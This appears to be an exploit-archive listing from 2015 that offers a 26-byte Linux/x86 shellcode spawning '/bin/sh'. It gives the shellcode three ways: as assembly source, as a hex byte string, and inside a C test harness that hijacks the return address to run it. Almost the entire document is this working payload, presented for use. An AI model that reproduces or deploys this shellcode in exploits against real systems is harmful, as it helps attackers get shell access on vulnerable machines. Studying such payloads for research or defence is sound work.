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Linux/x86 execve "/bin/sh" Shellcode

Linux/x86 execve "/bin/sh" Shellcode
Posted May 20, 2015
Authored by Reza Behzadpour

26 bytes small Linux/x86 execve "/bin/sh" shellcode.

tags | x86, shellcode
systems | linux
MD5 | 0b87011880c67a17f6492f977787ee89

Linux/x86 execve "/bin/sh" Shellcode

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/*
; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes
; Platform: linux/x86_64
; Date: 2015-05-19
; Author: Reza Behzadpour
; Simple ShellCode

section .text
global _start

_start:

xor ecx,ecx
mul ecx

;execve("/bin/sh", NULL, NULL)
mov al,11
jmp shell
shell_ret:
pop ebx
push ecx
push ebx
pop ebx
int 0x80

shell:
call shell_ret
db "/bin/sh"

*/

/*

# tcc -o ./shellcode ./shellcode.c
# uname -r
3.12-kali1-686-pae

*/

#include <stdio.h>
#include <string.h>

char shellcode[] = {
"\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b"
"\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68"
};

int main()
{

printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int *ret;
ret = (int *) &ret + 2;
(*ret) = (int) shellcode;

return 0;
}

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